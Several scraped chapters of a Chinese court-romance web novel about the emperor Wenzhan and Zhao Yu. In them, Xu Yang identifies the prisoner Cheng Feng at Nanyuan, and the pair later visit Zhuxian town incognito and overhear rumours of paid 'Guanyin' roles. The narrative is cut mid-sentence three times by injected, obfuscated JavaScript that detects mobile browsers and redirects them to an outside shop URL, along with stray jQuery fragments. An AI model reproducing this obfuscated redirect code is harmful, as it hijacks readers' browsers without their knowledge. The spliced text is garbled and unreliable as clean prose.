他赶忙下马,想要进入猎场,却被雪鹰旗拦下,于是卸下长剑,弓|弩,匕首,甚至连身上的猎装也被告知必须换下,穿上雪鹰旗早就准备好符合他品级的官服,此刻,方能牵马进入南苑的山林河川之内。 他认识柳密,也不认识柳密。 徐玚作为镇守北境的总督徐绍长子,本身就是三品将军,他们父子二人又同为被言官不时围攻的重权人物,自然识得都察院的总宪。只是,柳密此人刚正不阿,持正守贫,在雍京城,私交只有同榜进士也就是如今的顺天府尹刘同珝,除此人之外再无密友,兼之身为天子重臣,旁人无从结交。 柳密见徐玚进猎场,态度倒是和气,“徐将军,此番将你请来,实为公事。” 其实,公事也好,私谋也罢,徐玚自知在雍京无法觅一方清净之所。 他所求,不过是徐家安泰,度过劫难。而北境战事千瞬万变,如今更是泥潭深沼,徐氏父子皆竭力周旋,也无法明确一定保住身前万世英名、身后哀荣。活人毕竟不是木胎泥塑,无法抱定破釜沉舟必死之心,至此生死莫测之际,倒是生出一丝应该早就摒弃的惶恐来。 “柳大人有事吩咐就好。” 柳密将他领到一辆粗铁打造的囚车面前,“徐将军,这是朝廷重犯,今番进猎场另有他用,烦请你为他验明正身,都察院就好交差了。” “都察院交人,……”徐玚莫名问了一句,“莫不是要出红差?” 这一句话,轻飘飘,仿若没有任何重量,却承载着一个人的生死。那人闻听,自重枷抬头,如同兽般凌乱的头发分开一丝缝隙,露出眼睛与脸。 近在咫尺。 徐玚被他眼中的戾气剐到了,竟然下意识后退半步。 柳密安静站在一旁,一言不发,看似置身事外,却无一步抽离。他是文官,身上只有书卷气没有戾气,可是,此时的柳总宪,即使锋利内敛,却有着不输重犯的凛冽之风。 徐玚知道,那是浩然之气。 可让魑魅魍魉现行。 他稳稳心神,双手接过柳密署官递过来的卷宗,展开,才说,“程风,凤化二十四年生人,凉州姑臧城人。元熙二年入西北军,元熙五年入赵毓麾下,元熙七年任赵毓左行先锋,元熙十年任赵毓副将。” 刚开始,重犯并无异动,当徐玚提到“赵毓”之时,那人仿若被刀劈到,奋力暴起,重枷似乎都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不敢自己动手就不要杀人。不然,和雍京城那些文官又有什么区别?那些书生,手无缚鸡之力,此一生没有提过比毛笔更重的东西,下笔却决定着几万人,十几万人,甚至几十万将士的生死。我们这些边陲将士对于他们来说不是人,只是写在生宣上的数字,指点江山时的粪土。” “曾经你不也如此不平,如此愤恨着?只是不知从何时开始,徐玚,你变成同他们一样的人。不敢直视眼前将要被你亲手扼死的性命,虚弱到只敢在奏折上杀人。” 赵毓弯下腰,捡起来土地上那根马鞭,递还给徐玚。 “徐将军,在南苑,要握紧马鞭。” “因为……” “你手中没有弓箭。” …… “承怡,在想什么,这么出神?”猎宫之内,文湛似乎刚起,披着外衣走到罗汉床边,坐下,与赵毓隔着海南黄花梨的矮桌,拿起柳从容方才奉上的茶盏,轻啜一口,怡然自得的样子。 “我觉得,当年从西北回来……”赵毓声音很轻,像是只说给自己听,“似乎做错了……” 闻言,文湛挑了一下右边的眉毛,不说话,将茶盏放在矮桌面上,“也是。”他的手指捏起来瓷碟上的一块蜂蜜凉糕,不知在想什么,没有放入口中,就是在手指之间把玩,不一会儿,凉糕中蒸熟的小米被碾碎,黏成一块。“哥哥念旧,那人跟在哥哥身边服侍,也算尽心……” 赵毓却似乎没听见他说话,喃喃自语,“如果我不回来,他也不会落到这般地步……” 此时,文湛方知自己会错意了,微微抬眼,又微微向前探身,看着赵毓。 而赵毓方才回神,看到文湛近在咫尺的眼睛,吓了一跳,“你干什么?” 文湛,“方才我对哥哥倾诉衷肠,哥哥心不在焉,对我爱答不理,不听我说话,我就凑近看看,想要瞧明白,此时哥哥心中在想谁?” 赵毓,“……” 他不动,文湛就着这个姿势也不动。 “呃……”赵毓回了回神,“陛下今天不去猎场?” 文湛依然不动,只是轻声说,“有些奏折要看。”声音带着温度,还有他身上特有的极名贵浓烈的香气。“哥哥呢?是在猎宫陪我,还是在猎场跑马,继续做您那个不在帝王身侧的随扈大臣?” 几乎贴上来了…… 赵毓向后躲了一下,“程风他到南苑做什么?” 文湛则坐直了身子,“罪名压实,他就是通敌叛逆。真正围猎开始之前,需人祭牺牲。” 赵毓一惊,“可是……” “承怡。”文湛声音很轻,却绝不容听错,“蝮蛇螫手,壮士解腕。割指亦是其类,乃吉祥也。” 赵毓明白,这是文湛引司马光《资治通鉴·梁武帝中大通二年》中一句话来告诫自己,于程风之事袖手,唯如此可保北境暂时安稳,徐绍不至立即倒戈相向。 这些话,皇帝根本不用说出口,赵毓都懂。 帝王,君四海而役万物,神器之重,之于兆民之上。 只是…… 程风的冤屈呢? 就因为与北境甚至是社稷相比微不足道,就无需在意吗? “如果当年我不回来,依旧在西北……”赵毓说,“西北军没有裁撤,徐绍下手的时候不会如此不留余地,甚至,他根本不会下手。他将此事做到如此地步,不就是看准我废了,无法同他北境重臣相提并论?” “我就说哥哥心软。”文湛却说,“这世间的人、世间的事,自有因果。程风此人……”赵毓看着他,而文湛则微微低着头,看着瓷碟上的点心,不甚在意,“难堪大用。” 赵毓,“只是……” “承怡。”文湛截断他的话,“高昌王用此人诱你自毁北境长城,你想如他所愿?” …… 赵毓想起,那日在祈王府,殷忘川说,“徐绍。他阻了我南下的道。雄鹰也飞不过去的大鲜卑山?如果没有那位徐总督,对于我,一马平川。” “承怡。” “既然徐绍是你为大郑皇帝铸造的北境长城,……” “那么。” “我要你亲手毁了他。” …… “可是陛下。”赵毓忽然问,“北境长城,仅在徐绍一人之身?公道人心,难道就不算吗?” 文湛,“那人踏出与外敌勾连串通的这一步就应该明白,其身后已无退路,死后亦是无法入程氏坟茔。” “承怡,我看在他曾是你的副将、入西北军、于社稷有功的过往,罪责不牵连程氏九族,已是宽容。” “这就是我的公道,亦是天下的人心。” 165. 165 165 即使燕王说自己做臣子有些不屑揣摩君父意图,显得乖张又大不敬,但是赵毓明白,陛下的决意是不能违逆的,更不用说更改了。自己毕竟在元熙朝做了十四年的臣子,是否和主上的意不知道,但是基本规矩还是懂的。 ——既然结果无法改变,那么过程是否可以变通一下?如今,程风全部卷宗俱在南苑,…… 赵毓双脚踩在罗汉床的脚踏上,起身,手腕却被文湛叼住了。是的,叼住。虽然文湛仅是伸出一只手握住赵毓的一只手腕,但是那个架势,那个力度,那个感觉,活脱脱像是海东青拿天鹅。文湛的手指如同白皙、长、而细的鸟喙,叼住赵毓的手腕。 “承怡。”文湛也起身,手指微微用了些力道,将赵毓向他身边扯了一下,“你昨夜没睡好,今天就别去猎场跑马了,留在猎宫陪我看看奏折可好?” 赵毓没说话。 文湛低头,手指肚在赵毓的手腕上轻轻摩挲着,“既然哥哥不想陪我,那我陪哥哥好了。” 赵毓,“……” 文湛轻笑一声,那种感觉好像大千世界中唯一只蝴蝶振翅,煽起来一股极其纤细炽热的风,却正好煽到赵毓心尖上。 “我陪哥哥去跑马。” 别说一起跑马了,此时此刻就算让赵毓当即砍下自己的头颅双手奉上,让眼前这人扔着玩耍,他似乎也心甘情愿,于是迷迷糊糊哼哼了只言片语,“呃,……,好。” 文湛更衣自有柳从容侍候,不用赵毓动手,只是今天上身的这套黑色缂丝猎装最终要在腰间扣上软剑,他却偏要赵毓亲手扣。赵毓方在柳从容手中拿过如同拥有凶狠攻击力却沉寂的蛇一般的冰冷利刃,文湛就用双手拉扯着赵毓的手,将软剑环在自己腰上,却不让他继续扣软剑。 “要不,我们也别去跑马了,哥哥抱着我睡觉吧。” 赵毓,“……” “我抱着哥哥睡觉也可。” 赵毓让他折腾得脑子有些散黄,“都不成。这几天在猎宫陛下要清心寡欲、修身养性。昨天你还在逐鹿坡,没过来猎场这边,你没见燕王叔在水边扯着我欲言又止的样子。他闷着一口气想要训我,却着实开不了口,我当时也只能装傻充愣,别提多尴尬了。” 此时,文湛也搂着赵毓的腰,轻柔又凉凉地问,“他想训你什么?” 赵毓,“大抵就是我不学好,身为兄长不能以身作则,连带着你也不学好。” “嗯。”文湛居然点了点头,“别的事情我不知道,可是这件事上燕王叔的确没有冤枉哥哥。难道不是因为哥哥不学好,把我也带坏了吗?” “……”赵毓,“这样的确不对,我要以身作则,不能再不学好。陛下自己扣软剑吧,微臣要退下认真反省去了……” 他只是说,手没动,依旧还是拿着兵器环着文湛腰身的动作;文湛更是没有动,依旧搂着他。只是,忽然低头,在他嘴唇上狠狠压了一个亲吻,随即,像是用尽了自己全部意志力,没有更进一步,反而慢慢剥离了。 赵毓继续给他扣软剑,身子几乎贴在一起,耳鬓厮磨之间,却听见文湛说,“承怡,先帝在的时候总是说,做人做事,不要只争眼前,要争千秋。庶民百姓大多没有千秋可载,所以他们不用想那么多。可,我们不同。我们这种人,前有列祖列宗,后有千秋史笔,人世间又有士大夫文章,翻手为云覆手为雨。所以,我们做人也好做事也罢,多思慎行总是好一些。” 一瞬间,赵毓没有说话,只是认认真真为文湛系上软剑。 “其实,你不用说,我懂。” “懂不懂,我都要再说一遍。承怡,不教而诛,那是先帝,不是我。” 赵毓给他扣好了腰间的软剑,“陛下想要到哪里跑马?” 文湛,“哥哥跟我走就好。” 赵毓,“咦?还挺神秘!” 他们在猎宫前上马,赵毓极善骑,文湛自是不差,他们的奔马出猎宫,随即到猎场。 这次不是赵毓独自跑马,文湛也在,随侍马队仪仗俱全,阵势赫赫,即使猎场中也俱是王公权贵,黑色龙纹旗招展之时必须全部下马跪倒,更不要说其余人。因而他们所到之处俯跪之人乌拉拉一大片,看着颇为不清净。 “承怡,这边!” 文湛领马沿着河谷径自向前,遇到浅水的地方直接马踏过去。这边的地势不复杂,只是,最近接连下雨,山河由烟水笼罩,兼之距离河谷那边有些距离了,…… 赵毓勒住缰绳,“这里不就是……” 文湛也勒住马,“这里有一条隐蔽的山路,跟我走。” 顺着河谷向前,就是山,而翻过眼前这座山脉,前面则是朱仙镇。 骑马穿山而过已是惊奇,过山之后,赵毓这才知道在猎场与朱仙镇之间有一条天堑,——并非壕沟江河,而是驻防的军队。 雪鹰旗。 “承怡不会以为皇室猎场和凡间仅仅依靠一座并不高的山脉就可以隔绝吧。” “当然不会,只是没想到是……” 文湛下马,身边自有人连忙接去缰绳,而赵毓下马,却是文湛亲自抱下来的,一点儿不避讳。 赵毓,“呃……” 有人捧过来两套棉布长衫。 文湛,“去凡间,自然要装扮一番。上一次和王兄在朱仙镇相遇,还是十四年前。当年时机不好,不能和王兄一起痛快畅游;今天时机好,终于可以弥补经年的遗憾了。” 赵毓,“……” 传说,朱仙镇最早的名字,其实是诛仙镇。 在大郑开国之前的几千年前,这里曾经是一片人烟罕至、鸟不生蛋的荒蛮之地,因而妖魔鬼怪霸道、魑魅魍魉横行,戾气之强盛,可以诛杀掉落此地的任何生灵,甚至是已经得道飞升的诸天神佛,连掌管阴司的泰山府君也没有办法,天人冥三界只能彻底放弃此地的管控,并且取了一个十分不吉祥甚至带着警戒意味的名字,——诛仙镇,意图告诫三界生灵避让。 “后来呢?”文湛问,他一跃而过一道小水沟,回身拉住赵毓,将他也带了过来。 穿过猎场与凡间最后一道屏障,只有他们两个人。 “后来呀……”穿过最后一片山林,映着日头刺眼的光,赵毓终于隐约看到熙熙攘攘的街道和人群,“大郑开国之后,祖宗们发现这里极其清净,所以就将王陵选在此处,那些骇人听闻的传说正好让闲杂人退避三舍。” 文湛,“再往后呢?” “再往后啊……”赵毓走得累了,找个横倒于地的大树墩子坐着,喘口气,文湛给他牛皮水囊,让他喝口水润润,他才继续说,“这里地处雍京南麓,南来北往的商贩聚集,几百年下来,就成了商贸繁荣之地。镇的名字也从诛杀的诛改成了朱红色的朱,那些古老古怪的传说就成了人们餐桌上佐餐的咸菜了。” 说完,赵毓就将手中的水囊递还给文湛,文湛就着也喝了一口水,喝完还抿了抿嘴,不知道是清水过于甜美还是其它什么的,才凉凉地说,“看来,不管是岐山深宫还是毗邻古王陵的古镇,起源都是这些神神鬼鬼古怪的传说。” 赵毓忽然想到,“岐山神宫神神叨叨的是为了帝王业,表示君权天授,这里鬼里鬼气的却是为什么?” “我看过大正宫一些秘档。”文湛说,“几千年前,这里大抵是一片大泽,却有一些先民部落生活在其中,他们编造这样诡谲传说,想必也是不想外人打扰。” 赵毓,“后来呢?” “后来。”文湛,“如果不是迁徙出来,应该就是被灭族了。只是后人不知,这样的湮灭,究竟是因为封闭太久无法繁衍,还是外力血腥野蛮武力征服。不过,都不重要了……” 赵毓微微叹口气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729023|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >文湛,“怎么了?” 赵毓,“忽然想到,能够留存青史的,不过就是帝王将相的丰功伟业,高僧大德的谶语了悟,倾国美人的绮丽哀婉;至于须弥芥子们的生生死死,就如同农家瓦片上晒干的芥菜旮瘩,抽缩扭曲,干枯黯淡,似乎也的确没有写在可留存千载的生宣上的必要。” 文湛,“这样不好吗?” 赵毓,“好吗?” “自然好事。这样,人死后才可万事成空。” 文湛看着不远处的繁华,“不用争千载盛名,自然也不会背负千载骂名。” “来之丛丛,去之空空。” “也是一种自在。” 赵毓一歪头,忽然笑着说,“陛下可以参禅。” “不去。”文湛将水囊收好,“静坐冥想简单,粗茶淡饭也可,只是持戒便不能搂着哥哥睡大头觉,实在是强人所难。” “呃……” 赵毓手腕被文湛握住,从大树墩子上拉起来,“你有王权富贵,受持清规戒律也同寻常人不同,不需要严苛。” “无需持戒总比需要持戒要强。再说……”文湛拉着他,向着那片熙熙攘攘走过去,“哥哥将我丢在雍京多年,如今又诓我去持戒,真让人伤心呢。” 赵毓,“……” 林中已经有路,路上有茶棚。 一面茶旗迎风招展。 赵毓想打尖,再装一些茶水走,就进了茶棚。 茶博士送来一壶新沏的绿茶,有些惊奇地看着赵毓和文湛,“两位,这是从哪里来?” “雍京。”赵毓答了话。 茶博士依然困惑,“果然是雍京!两位客官看着就像是见大世面的人物,只是,为啥从密林子中出来?” 赵毓,“其实我们之前走官道,就是方才见林中似有花丛,灿烂如同云霞,想要进去看看,就进林子了。” “这林子可邪性着呢!”茶博士压低声音说,“林子中有没有花,这我们不知道,可我们知道,林子中到处都是藤精树怪!唉,说实话,方才见两位这模样,我还以为是藤精树怪,后来看这位客官拿着牛皮水囊,我就知道错怪你们了。” 赵毓笑了,“为什么?” 茶博士,“我们村老人说的,藤精树怪那是精怪,不是人,有神通!自己张着嘴就能吸天地灵力、草木水汽,不用拿牛皮水囊。” 文湛忽然开口,“也许我们当真是藤精树怪,拿着牛皮水囊只不过假意做个掩饰。” 茶博士似乎犯了嘀咕,他仔细端详了端详文湛,“要是光您在这儿喝茶,我没准儿就真信了,您老长得不像活人。”说着,没等他们两个有反应,就对赵毓说,“可是您在这儿,我就信您二位不是精怪。” “为啥?”赵毓,“因为我长得像活人?” “嗯。”茶博士点头,他对赵毓说,“您有人味儿。至于您,……”他看着文湛,“不笑的时候倒是法相庄严,适合供奉在庙里,还得是个大庙。不然,香客不多,三瓜两枣供不起您的玉雕法像,显得不恭敬,您要是不高兴,没准儿还得给村里降点儿灾。” 文湛听着,面无表情也不说话,赵毓连忙笑着打圆场,又要了点心,茶博士这才去后厨端吃食,不一会儿,一碟子鲜肉酥皮包和一碟子绿豆凉糕就摆上桌面。 文湛,“子不语。” “唉~~~”赵毓则说,“孔老夫子敬鬼神而远之,守心持正,不想谈论这些,可是我们不同嘛,这些乱力乱神也是民意嘛。还是那句话,老百姓信,咱就信。再说,万物都有灵性,这树藤要真成了精怪,守一方安宁也挺好的。” 文湛则说,“要是为祸一方呢?” 赵毓则笑了,“不用动陛下的人马,老百姓自己就得把它们刨根了。想着吃供奉还不干活,除非有人家兰芝社绵延数百年雅正的唬人做派,否则,哪儿那么容易?” 167. 167 167 文湛一定要去当日赵毓和绮罗去过的那间茶铺。只是,当年朱仙镇不如今日繁华,那日看起来“不错的茶铺”,如今竟然有些局促。 “不如,换一家?” 赵毓站在茶铺的茅草帘之外,顺着镇子整条大街向前看,当真出了几座不错的去处。茶楼酒肆具是青瓦白墙的石头屋基,伐自本地白松做的檐和椽子,倒是颇有些勾心斗角的意味,只是的确不如大正宫檐牙高啄,布局自然也不是太液池禁苑的廊腰缦回,而是浅显很多,因为这些茶楼酒肆俱为临街而建,自然没有宫廷园林的纵深。 “不要。”文湛一伸手挑开了茅草帘子,“就在这里。” 茶铺中的生意正经很不错,一看都是左邻右舍的街坊经常光顾,此时一楼几乎都坐满了,出来迎客的人并不是年轻小二,而是一个面容和善的中年男人,“二位客官第一次来朱仙镇吧,您二位随我上二楼,有雅间。” “好。”赵毓自然从善如流。 只是文湛并不同意,“不用了。”他驻足,眼睛一直看着临街的一张桌子,可是,那里已经有客了,是位老太,他对着赵毓说,“我要坐那里。” 赵毓一看就明白了,——“那里”,就是十四年前他同绮罗在此茶铺吃饭时坐的位置。他知道,今天要是不让文湛坐到“那里”,这位陛下会气到鼓成一只青蛙,并且就算是再饥饿口渴,菜饭茶水也不入口。于是,他只能认命走过去。 “老夫人好。”赵毓堆起来笑脸,“我们第一次来,就想看看街景。您这个位子就特别好,我们等您这个位子。我看您这碗面也差不多见底了,您要是吃完了,我们就顺上,您的位子就别让给别人了。不过,……” 老太一听就知道是怎么回事儿,不过看着眼前这个年轻后生当真生的好,说话又温和柔软,脸上笑意满满,自然不介意,“你们俩在这里吃,我这碗面快吃完了,我腾地。” 说着她起来就要端面碗,赵毓马上双手捧着碗,帮她挪到旁边一张桌子上,“多谢老夫人,如果您不介意,今天这碗面让我请您,再加一份蒸酥肉,酥烂可口,这是我们的一点心意,您笑纳,也算是老寿星让我们沾沾喜气。” 赵毓此人,很是得妇人的欢心,无论三岁女娃还是八十老妪。听他这么说老太自然高兴,也就不推辞。店家去吩咐后厨添加一份菜肴。这一番辗转腾挪下来,赵毓同文湛坐好,店家再来擦桌,“客官不是第一次来我们朱仙镇吧。” 赵毓意外,“方才你还说我们是第一次来呢!” 店家,“我们这个小茶楼一向只有镇上左邻右舍过来吃茶,要不就是从雍京城到南郊行宫办事的官爷们,看二位,都不是,所以方才我猜想您二位第一次来。” 赵毓,“那怎么又不是第一次了呢?” 店家,“我们茶楼的蒸酥肉可是几十年的老招牌了,不挂牌,老饕才会点。我看您,不但不是第一次来朱仙镇,也不是第一次到我们茶楼。” 赵毓,“店家精明!” “诶。”店家,“我们开店的,做的是南来北往的生意,眼睛耳朵自然要多看多听。” “十几年前我当真来过一次。”赵毓说,“只是当年不如今日热闹。还有,当年招呼客人的还是个年轻的小二,不是您。” “怎么不是我?”店家也乐了,“我一直在这里做伙计,之前的老掌柜是我师傅。后来师傅临终,将师娘师妹和茶楼一并托付于我,我就做了掌柜。师妹从小定了亲,后来也大了,出了阁,我就奉养师娘。老街坊都知道,这里一直都是我。” 赵毓抿了抿嘴,没说心里话,——咱们这十几年没见,又不是几十年没见,你怎么老成这样了呢? “我们和您当然是没法子比。”店家果然懂得客人未尽之意,“我们讨生活,自然比不得您养尊处优。” 赵毓有些尴尬,笑着摇摇头,“大家都讨生活,都不容易。” “我们茶楼都是老主顾,菜单也是几十年没变过,您看看,想吃点什么。”店家推了一份老旧裹着牛皮纸的菜单,却是给文湛的,“您二位先看着,我等会儿过来。” 等他走,赵毓看着文湛极认真研究菜单,说,“这个蒸酥肉当真是不错,来一份儿尝尝。” 谁知,文湛眼皮子都没抬,阴阳怪气来了一句,“哥哥自然知道它味道不错,想必和尹家那位嫂嫂一起吃过。” 赵毓,“呃……” 不一会儿,店家拎着茶壶过来,却是白水,“客官您自己的茶叶呢,我给您沏茶。” “呦!”赵毓却说,“我们没这么讲究,不会出门还带着茶叶。劳驾您给我们沏壶您这的茉莉花就好。” 店家拎着一茶壶热水走了,转身拿了一个白瓷大茶壶过来。壶里水面上飘着白色茉莉花。他说,“这是今年蜀地的绿茶底子拉到仓吾旧地做的花茶,六窨茉莉,昨天刚进的货,您二位尝尝。” 赵毓,“今年的茶,这么快就能到这个小镇,真好。” “自然是好,我们这里也是商贸重镇了嘛。”店家放下茶壶,见新来了客就去招呼了。 赵毓则想着,——朱仙镇果然今时不同往日。他给自己到了一杯茉莉花茶水,抿了一口,当真是不错。过了好一会儿,见文湛不说话就是埋头研究菜单,又说,“其实它这里的茶点就那么几样,几十年下来手艺倒是精进,可是品种却不多,你就算是把脸蛋子都埋进去,也挑不出花来。” “我倒也不想挑出什么花样。”文湛则说,“只是想要尝尝当年哥哥陪着尹家嫂嫂吃的那些东西。” 赵毓,“呃,这么多年了,又不是什么大事儿,早就不记得了,……” “可是。”文湛却说,“哥哥在十几年后的今天,一到这家茶楼就记得只有老饕才会点的蒸酥肉。看来,当年的那顿饭菜茶点也着实美味,不然以哥哥忘性之大,怎么就记了这么多年呢?” 赵毓感觉太阳穴一跳一跳的,连忙用手捂住了脑门,用力揉搓,——头壳疼,头壳疼。 似乎过了好久,赵毓感觉日头都似乎向西边游走了,文湛的口谕才颁下,“按照哥哥的口味和那日大雨的阴寒,哥哥吃的应该就是蒸酥肉,洛阳汤菜,芋头排骨,一份银芽,还有一碗热乎乎的素汤面。” 虽然的确记忆不是很清晰,不过赵毓当真将文湛说的菜名在脑中过了一遍,竟然有一种确实如此的幻觉。 茶铺当中总共也没几道菜肴,都是熟客,蒸煮的东西自然早就备着,文湛这边点好了菜,后厨就从炉子上把吃食拿了过来。 “……这次村子里扮观音,一次给五两银子,……” 赵毓耳朵一动。他记得去年雍京闹银荒的时候,八两银子能买三个大姑娘,而且卖身契都是死签,生死勿论!——这朱仙镇竟然有如此阔绰的村落,扮次观音就给五两? “……扮观音,一定要村子里面最美的姑娘,出嫁的媳妇子就不成了……” “……也不一定……” “扮观音又不是狐媚子,不需要美貌,端正就好。” “白里正说了,嫁人的媳妇子也能去……” “初九,过了晌午,在散花溪涧。” 赵毓装作看街景,把脸扭向外。座位临街,就靠在桌子旁边倚着的老榆木柱子,敞亮,随即看见几位妇人走过去。这几位就是普通本分的乡村妇人,年轻,看不出任何不对劲的地方,而且要说是长相端正到也勉强说得过去,至少不是歪瓜裂枣,但是扮观音也似乎不太合适。然而,更加可疑的则是那五两银子。 果然,一丝声音飘过来。 “……我都要进老王家门了,他们砸锅卖铁都拿不出五两银子做彩礼。那可是银子!有了这五两,我家就能起瓦房,给弟弟说上一门上等好亲……” 赵毓转过头,正好看见文湛吃芋头,“他们这里有一种莓子酱,山里的野果子熬的,拿浸染了排骨汁水的芋头沾着吃特别甜酸开胃。我找店家要一些。” “不用。”文湛觉得这个芋头味道实在太丰腴了,腻得慌,就咬了一点,随即放入碟子中,“我今天吃了一白天的醋,再吃莓子酱,我怕后牙被酸倒,连炖到软烂的芋头都咬不断。” 赵毓轻笑,见文湛不说话,只是非常矜贵地擦嘴,他又用极轻的声音说,“陛下果然,至圣极明。” 文湛没笑,“不过承怡,你方才一直看外面,可是有什么事?” 赵毓想了想,“方才过去几个姑娘,……” 文湛,“四位姑娘,还有两位妇人。我看了,她们中间有两位梳了发髻,那是出嫁女的装扮。” 赵毓,“啊?就那么一瞬,你就看清楚了?” “哥哥眼中的女子。”文湛说着,端着茶水抿了一口,“于我,自然是千钧之重。” “呃……”赵毓叹气摇头,“好吧,陛下说是,那自然就是。其实,文湛,我是觉得她们说的话有些古怪。” 文湛,“哦?” 赵毓将方才听见的话,大致说了,“这五两银子,太过于凶险。以我对此地风俗的了解,还有方才一位姑娘的话语也佐证了,此地,就算大姑娘出嫁,一般人家也是要不出五两白银做彩礼的,也就是说,这笔钱超过了一个大姑娘的命价。” 文湛虽然觉得“五两银子”对于一些人来说重于泰山颇为陌生,但是经过赵毓这一解释,也意识到不对劲。 谁知,赵毓并不多纠葛这个,而是问他,“你知道散花溪涧是什么吗?” 文湛果然一愣,“可是一种茶?” 赵毓也是一愣,“它的名字听着像茶叶吗?” 文湛,“我不太懂你的意思。” 赵毓,“咱们从南苑一路走过来,你还记得,咱们趟过一条很细的溪水,水里面有鱼,大多是黑色的草鱼?” 文湛点头,“溪水我有印象。” 赵毓,“溪水靠近南苑,有一片花海。” “嗯。”文湛,“我记得。在那里你还感慨说,青史留名的不过是帝王将相、高僧大德和倾国美人。” 赵毓,“那里就是散花溪涧。” 文湛看了他一眼。 赵毓,“而那条溪水,则是南苑猎场与民间真正的界线。” 文湛又是一愣,“竟然在那里,你怎么知道?” 赵毓,“再不靠谱,我也是钦命随扈陛下的大臣,南苑猎场周围的地形,我必须烂熟于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729025|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸。” “钦命。”文湛听着,忽然低头就是一笑。 “嗯,钦命。”赵毓则说,“是你让我做随扈大臣的呀!” 文湛又是一笑,却问,“雪鹰旗把守的山隘又是什么?” 赵毓,“散花溪涧周围无天险可守。所以七百年前,咱那些有经天纬地大才的祖宗们就命守卫南苑的军队把守高山关隘即可。一夫当关万夫莫开嘛,事半功倍。再说,这里密林丛生,有些山珍好物,诸如蘑菇、果子,还有一些狍子、山鸡、野猪,等等物产丰饶,此地的百姓进来采摘打猎,生计上也能松快一些。” “只是,……大家也知道,溪水那边毕竟就是南苑猎场,皇族领地对于百姓来说就是禁地。人家不傻,不想没事找事,一般来说,他们不会明目张胆攒一些人过溪水那边去折腾。所以我才愈发纳闷。因为我方才听见那几个大姑娘小媳妇去扮观音领钱的地界,就在散花溪涧,已经到了猎场禁地了。” “初九……”文湛想了一下说,“就在明天。我们一晚上不回猎场,想必那些叔伯子侄们过得松快一些。” 赵毓,“陛下也听到那位姑娘说的时日了?” “我说过……”文湛喝茶,姿势极矜贵,“哥哥眼中的女子,于我,千钧之重,自然不敢怠慢。她们的模样我记得,她们说过的话,我亦必须烂熟于胸。” 赵毓,“呃……” 距离茶铺两条街外,一家看上去很夺目,其实也很夺目的客栈前面,文湛左右看了看,赵毓笑出声,“哈哈。” 文湛,“你笑什么?” “找不到了吧?”赵毓用手搭凉棚抬头,日头虽然已经偏西,“当年我住的地方就是这一家,只不过人家改建了,估计你就算想要住那间客房,也是不可得了。” 此时客栈有人迎出来,那人一身深褐色长衫,热情招呼,“二位第一次来我们朱仙镇吧,我们这里有上好的客房,还有上等酒菜。”此时,他看着赵毓,“先生,您……” “店家见过我?”赵毓笑着说,“也对,十四年前,我新婚。当年和夫人去祭扫先祖,路过朱仙镇,就住在这里。” 此时,那位店家却爽朗一笑,“先生诓我!” 赵毓,“哦,怎么说?” “十四年前?”客栈店家上下看了看赵毓,“说句托大的话,十四年前先生还是个小娃娃,怎么可能新婚?您说笑。”他笑着摇头,并且走前面,“来,我为您二位引路。” 由于方才在茶铺吃饱喝足,赵毓并没有要酒菜,只是订了一间上等客房,又要了一壶茶,外加四碟子点心。 “怎么回事?”文湛有些奇怪,“你明明说了真话,那人却以为你在说假话。” “这人啊……”赵毓一面说着,一面将窗户推开,低头,看着外面的街道,“其实都这样。咱们要是想要隐瞒什么,就必须要大大方方展露出来。越是隐藏,人家越是想要探询。可当一切真实都袒露于前,他们又蒙上了双眼,缩回自己的想法当中去了。” “怎么说?”文湛站在窗子的另外一边,也看着外面。 “我当真见过这位掌柜。”赵毓说,“当年我与绮罗住的客栈,那位管事的大伙计,就是这位。” 文湛不解,“既然见过,就算不十分确定记得你,可他为什么会算错你的岁数?” 赵毓,“许是大正宫的岁月与外面不同。宫内一日,人间数年?” “诓人。”文湛,“这才是真正的假话。” 赵毓,“我平日在雍京,有些时候就听见人家说一两句,凤子龙孙有一种残忍的天真。总的来说,天下承平,王族子弟安逸日子过得长久,少了三千烦恼,人自然天真,而和这种年龄不相符的天真,虽然看着年轻,似乎没有生老病死,六道轮回还缺了几门,的确是残忍了。” 文湛没有说话,转头看着下面,熙熙攘攘的人群如同浅水中的鱼,看着分明,在流动着。 “前几天夜里,在绮镇,老薛知道了我的真实身份,就问了一件事儿。” “什么?” “他问,衣服的花费。” “你怎么说?” “我说,当年,江南织造供奉宫廷五百万两白银,我的衣袍独占八十万两。”赵毓的声音很轻,也像鱼一般,是滑的,“老薛吓得下巴都掉落了。” 文湛轻轻笑了一声,无轻视,无戏谑,就是单纯的,轻轻的一笑。 赵毓,“老薛并没有把那些缂丝云锦对比西北军饷,他只是说,他四叔家的娃落地的时候,家里白菜长得不错,一家人能吃饱,奶奶没有出去要饭。” 文湛,“清苦。” 